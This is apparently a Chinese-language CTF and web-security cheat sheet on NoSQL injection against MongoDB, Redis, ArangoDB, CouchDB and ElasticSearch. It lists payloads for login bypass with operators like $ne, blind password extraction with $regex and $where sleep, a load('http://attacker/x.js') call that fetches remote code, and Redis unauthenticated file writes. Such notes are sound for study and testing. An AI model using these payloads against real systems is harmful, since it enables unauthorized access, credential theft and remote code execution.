NoSQL注入¶
WEB · 知识域。非关系型数据库注入:MongoDB/Redis/ArangoDB 等。标签:PHP数组注入、Ruby数组注入、JS注入攻击、MongoShell注入、永真式攻击、联合查询攻击。
触发特征¶
- 后端为 MongoDB/Redis/ArangoDB/CouchDB;输入被拼进
find()、$where、JSON 查询。 - 登录口对
username[$ne]=之类参数不报错但行为变化。
PHP数组注入¶
- PHP 把
user[$ne]=解析为数组 →find({user:{$ne:1}})成立 → 登录绕过。 $regex逐字符盲注:user[$regex]=^a配合布尔差异恢复完整口令。$gt/$lt范围永真:user[$gt]=空串匹配一切。
Ruby数组注入¶
- Sinatra/Rails 场景
user[]=数组语法同样进入查询结构;$where注入 JS。 - 类型混淆:
{"$type": 2}匹配字符串字段探结构。
JS注入攻击($where)¶
$where接受 JavaScript:注入sleep(5000)||true时间盲注;this.password[0]=='a'布尔外带。$function/聚合管道$accumulator注入(新版 MongoDB)。- MongoDB Regex 注入 /
$where盲打 oracle(Nullcon 2026)。
MongoShell注入¶
- 服务端直接
evalmongo shell 命令(--eval或管理接口)→ 注入;load('http://attacker/x.js')或db.eval。 mapReducemap 函数注入 JS。- 未授权访问(27017 无鉴权):直接连库改数据/建管理员。
永真式攻击¶
{"$or":[{},{}]}、{"$ne":null}、{"$exists":true}全匹配绕过登录。login?user[$ne]=x&pass[$ne]=y组合拿到首个匹配用户。- 盲注攻击:无直接回显时靠布尔差异/时延逐字符恢复——
$regex前缀逐步:user[$regex]=^a→^ad→ …(布尔盲注);$where注入sleep(5000)||this.password[0]=='a'(时间盲注);$gt/$lt比较法二分(比正则快,按字典序收敛)。- Redis:
config set dir/set未授权写文件思路(注入拼命令场景)。
联合查询攻击¶
- ArangoDB AQL
MERGE注入提权(P.W.N. CTF 2018)。 - CouchDB
_find选择器注入、_all_docs未授权枚举;ElasticSearch DSL 注入(script_fields→ RCE,VolgaCTF 2017)。 - GraphQL 把 NoSQL 查询作为解析器时,经 alias/batch 放大(→ CSRF)。